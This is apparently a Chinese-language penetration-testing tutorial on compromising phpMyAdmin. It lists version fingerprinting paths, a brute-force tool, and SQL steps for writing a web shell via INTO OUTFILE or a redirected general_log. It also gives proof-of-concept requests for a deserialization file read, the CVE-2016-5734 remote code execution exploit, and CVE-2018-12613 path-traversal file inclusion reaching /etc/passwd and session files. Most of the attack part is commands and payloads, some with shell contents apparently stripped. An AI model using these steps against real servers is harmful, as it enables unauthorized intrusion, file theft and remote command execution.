目录
简介
phpmyadmin版本信息获取
phpmyadmin密码爆破
phpmyadmin文件写入
phpmyadmin日志写shell
phpmyadmin版本漏洞
phpmyadmin 2.x版本反序列化漏洞任意文件读取(wooyun-2016-199433)
CVE-2016-5734 RCE命令执行
CVE-2018-12613 文件包含
结语
直接phpmyadmin目录后拼接:
readme.phpREADME
changelog.php
Change
Documetation.html
Documetation.txttranslators.html
http://127.0.0.1/phpMyAdmin/README
http://127.0.0.1/phpMyAdmin/changelog.php
推荐工具 :
https://github.com/J1hng/PMAblast
phpinfo();查看出错页面获取利用load_file读取配置文件查看数据库内容select @@datadir查看数据库路径猜网站绝对路径
5.0版本之后的mysql数据库会自动创建日志文件,那么在服务运行的情况下修改全局变量也可以改变日志文件的存储位置;但是需要对日志的目录具有读写权限。
查看是否具有写权限:
show varlables like 'secure_file_priv';
secure_file_priv的值为null,表示限制mysql不允许导入|导出;
secure_file_priv的值为/var时,表示限制mysql导入|导出只能在/var目录下;
secure_file_priv的值为空白时,表示不对mysql导入|导出做限制;
可以在mysql.ini文件中进行修改。
如果具有写文件权限的话就可以直接写入shell:
select "" into outfile "D:\\phpstudy_pro\\www\\test.php";
不过这里需要用双反斜杠,不然会被转义。
phpmyadmin有一个记录日志的文件,当into outfile被禁用的话还可以利用日志getshell。
默认情况下是关闭的,开启日志记录,然后设置日志记录名称为.php,之后执行sql语句就会被写入到日志中去。
show variables like 'general_log%';
set global general_log='on'; #手动开启日志
set global general_log_file='d:\\phpstudy_pro\\www\\test.php; #修改日志路径
show variables like "general_log%"; #查看是否开启日志并且更改路径
成功写入。
poc:
POST /scripts/setup.php HTTP/1.1
...
action=test$configuration=0:10:"PMA_Config":1:{s:6:"source",s:11:"/etc/passwd";}
影响版本:
phpmyadmin 4.3.0-4.6.2;
php 4.3.0-5.4.6
主要由于将用户输入的信息拼接进preg_replace函数第一个参数中,在php5.4.7之前的版本中。preg_replace存在漏洞,可以使用0进行截断,并将正则模式修改为e,导致命令执行。
kali中自带exp:
searchsploit phpmyadmin
python3 40185.py -u root -p root -d test -c "system(whoami)" http://127.0.0.1/
影响版本:
phpmyadmin 4.8.0-4.8.1
poc:
index.php?target=db_sql.php%253f/../../../../../../../../../../../etc/passwd
or
/?target=tbl_zoom_select.php?/../../../../../../etc/hosts
然后可以执行一些sql语句记录到日志中去,然后包含。
select '';
f12在开发者工具找到phpmyadmin的cookie值
访问:
http://ip:port/phpmyadmin/index.php?target=db_sql.php%253f/../../../../../../../../../../../tmp/sess_safjaubfasklfjkasnflasfn6as4d6sa8das5
已无暇顾及过去,要向前走。